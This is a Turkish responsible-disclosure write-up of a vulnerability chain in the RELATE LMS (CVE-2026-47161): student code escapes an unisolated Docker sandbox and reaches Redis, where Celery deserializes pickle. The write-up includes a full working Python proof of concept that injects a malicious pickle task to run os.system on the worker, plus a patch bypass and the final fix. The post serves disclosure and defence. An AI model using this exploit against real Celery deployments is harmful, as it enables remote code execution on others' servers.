Siber güvenlikte en kritik zafiyetler genellikle tek bir hatadan değil, birden fazla küçük mimari kusurun bir araya gelmesiyle (vulnerability chaining) oluşur. Bu makalede, RELATE LMS platformunda tespit ettiğim, tarafımca raporlanarak CVE-2026-47161 koduyla kayıt altına alınan ve yetkilendirilmiş sıradan bir öğrencinin sunucuyu tamamen ele geçirmesine (Full RCE) olanak tanıyan zafiyet zincirinin teknik detaylarını inceleyeceğiz.
Ayrıca, süreç sırasında karşılaştığımız öğretici bir “Patch Bypass” (eksik yama atlatma) durumunu da ele alacağız.
1. Zafiyetin Anatomisi: İki Farklı Hatanın Birleşimi
RELATE, öğrencilerin kod yazarak sınavlara girebildiği (örneğin PythonCodeQuestion modülü) gelişmiş bir Öğrenme Yönetim Sistemidir (LMS). Sistemin mimarisinde, öğrencilerin gönderdiği kodları çalıştırmak için Docker konteynerleri, arka plan görevlerini yönetmek için ise Celery + Redis/RabbitMQ ikilisi kullanılıyor.
Yaptığım analizde, sistemin varsayılan yapılandırmasında birbirini besleyen iki kritik hata tespit ettim:
Hata 1: Docker Ağ İzolasyonu Eksikliği (Network Isolation Bypass)
Öğrenci kodlarının izole bir ortamda (sandbox) çalıştırılması için Docker konteynerleri ayağa kaldırılıyor. Ancak course.page.code.request_run fonksiyonu incelendiğinde, bu konteynerlerin ağ erişimini kısıtlayan network_disabled=True parametresinin kullanılmadığı görülüyordu.
Bunun anlamı şuydu: Sandbox içinde kod çalıştıran bir öğrenci, doğrudan sunucunun iç ağına (internal network) erişebilir ve host üzerindeki iç servislere (örneğin Redis mesaj kuyruğuna) paket gönderebilirdi.
Hata 2: Celery’nin Güvensiz Pickle Deserialization Yapılandırması
Sistemin iç ağında çalışan Celery işçilerinin (worker) yapılandırma dosyası (relate/settings.py) incelendiğinde, uygulamanın görev serileştirme işlemleri için güvensiz olan pickle formatını kullandığını fark ettim:
Python
CELERY_ACCEPT_CONTENT = ["pickle", "json"]
CELERY_TASK_SERIALIZER = "pickle"
Python’daki pickle modülü, güvenilmeyen verileri çözümlediğinde (deserialization) doğrudan komut çalıştırmaya olanak tanır.
Zincirin Kurulması: Eğer bir öğrenci, kod çalıştırma ekranından sistemin iç ağındaki Redis broker’ına doğrudan bağlanıp zararlı bir pickle payload’u gönderirse, Celery worker bunu alıp host işletim sistemi üzerinde root veya yetkili kullanıcı haklarıyla çalıştıracaktı.
2. İstismar Aşaması ve PoC (Proof of Concept)
Zafiyeti doğrulamak için yazdığım aşağıdaki PoC betiği, hiçbir dış kütüphaneye (örneğin redis-py veya celery) ihtiyaç duymadan, doğrudan temel socket modülü ile Redis’in raw RESP (REdis Serialization Protocol) protokolü üzerinden haberleşmek üzere tasarlandı.
Öğrenci arayüzünden çalıştırılan bu kod, arka planda zararlı bir görev oluşturup kuyruğa iter:
Celery worker bu görevi kuyruktan aldığı an nesneyi çözümler, __reduce__ fonksiyonu tetiklenir ve /tmp/whoami_emreefedogan.txt dosyası sunucuda oluşur. Sistem tamamen ele geçirilmiştir.
import base64
import json
import os
import pickle
import socket
import uuid
class Exploit:
def __reduce__(self):
# Celery worker tarafından ana makinede çalıştırılacak komut
cmd = 'whoami > /tmp/whoami_emreefedogan.txt'
return (os.system, (cmd,))
def build_celery_message(payload_obj):
body_tuple = (
(payload_obj,), {},
{"callbacks": None, "errbacks": None, "chain": None, "chord": None}
)
pickled_body = pickle.dumps(body_tuple)
b64_body = base64.b64encode(pickled_body).decode("utf-8")
task_id = str(uuid.uuid4())
return json.dumps({
"body": b64_body,
"content-encoding": "utf-8",
"content-type": "application/x-python-serialize", # <-- Pickle deserialization'ı tetikleyen kısım
"headers": {
"lang": "py",
"task": "relate.celery.debug_task",
"id": task_id,
"origin": "emre@exploit",
},
"properties": {
"correlation_id": task_id,
"delivery_mode": 2,
"delivery_info": {"exchange": "", "routing_key": "celery"},
"body_encoding": "base64",
},
})
def send_to_redis(host, port, message_json):
msg_bytes = message_json.encode("utf-8")
# Redis RESP protokolü ile LPUSH komutu gönderiliyor
cmd = (
f"*3\r\n$5\r\nLPUSH\r\n$6\r\ncelery\r\n${len(msg_bytes)}\r\n"
).encode("utf-8") + msg_bytes + b"\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(cmd)
resp = s.recv(128)
s.close()
return resp
# Hedef broker: redis://127.0.0.1:6379/0
message = build_celery_message(Exploit())
send_to_redis("127.0.0.1", 6379, message)
print("Payload teslim edildi. Celery worker sıradaki işlemde komutu çalıştıracak.")
3. İlk Yama ve “Patch Bypass” (Eksik Yama Vakası)
Bulguları inducer/relate ekibine bildirdikten sonra, geliştirici hızlı bir reaksiyon göstererek PR #1504 üzerinden bir yama yayınladı. Ancak yamayı analiz ettiğimde, zafiyetin yalnızca yüzeysel olarak kapatıldığını fark ettim. Geliştirici konfigürasyonu şu şekilde değiştirmişti:
Python
# Geliştiricinin uyguladığı İLK yama
CELERY_TASK_SERIALIZER = "json"
İlk bakışta sorun çözülmüş gibi görünüyordu; uygulama artık yeni görevleri json formatında iletiyordu. Ancak geliştirici, sistemin kabul edilebilir içerik türlerini belirleyen CELERY_ACCEPT_CONTENT parametresine dokunmamıştı:
Python
# Dokunulmayan yapılandırma
CELERY_ACCEPT_CONTENT = ["pickle", "json"]
Neden Hala İstismar Edilebilirdi? Uygulamanın json göndermesi saldırganı bağlamaz. Broker’a erişebilen saldırgan (PoC’deki gibi), gönderdiği mesajın içerik tipini application/x-python-serialize olarak ayarlar. Worker, CELERY_ACCEPT_CONTENT listesinde pickle‘ı gördüğü için bu paketi anında kabul eder ve RCE zafiyeti tetiklenmeye devam eder.
4. Gerçek Çözüm ve Sonuç
Bu kritik bypass vektörünü tekrar raporladığımda, geliştirici hatayı doğruladı ve d66ba56 numaralı kritik commit ile problemi kökünden çözen nihai yamayı yayınladı:
Python
# Zafiyeti tamamen kapatan nihai yama
CELERY_ACCEPT_CONTENT = ["json"]
Aynı zamanda Docker konteynerlerinde ağ erişimlerinin kısıtlanması üzerine de gerekli “defense-in-depth” (derinlemesine savunma) planlamaları yapıldı. Sürecin sonunda GHSA-4mwh-mwv4-m252 güvenlik tavsiyesi yayınlandı ve CVE-2026-47161 tüm dünyaya duyuruldu.
Çıkarımlar
- Derinlemesine Savunma (Defense in Depth) Hayatidir: Eğer Docker konteynerlerinde
network_disabled=Truekullanılsaydı, Celery yapılandırması hatalı bile olsa saldırgan broker’a ulaşamayacaktı. - Yamaları Doğrulamak Şarttır: Bir zafiyetin raporlanması kadar, uygulanan yamanın kaynak kod üzerinden doğrulanması (patch diffing) da zafiyet avcılığının ayrılmaz bir parçasıdır.
Sorumlu ifşa (responsible disclosure) sürecindeki hızlı iletişimleri ve yapıcı yaklaşımları için inducer ekibine teşekkür ederim.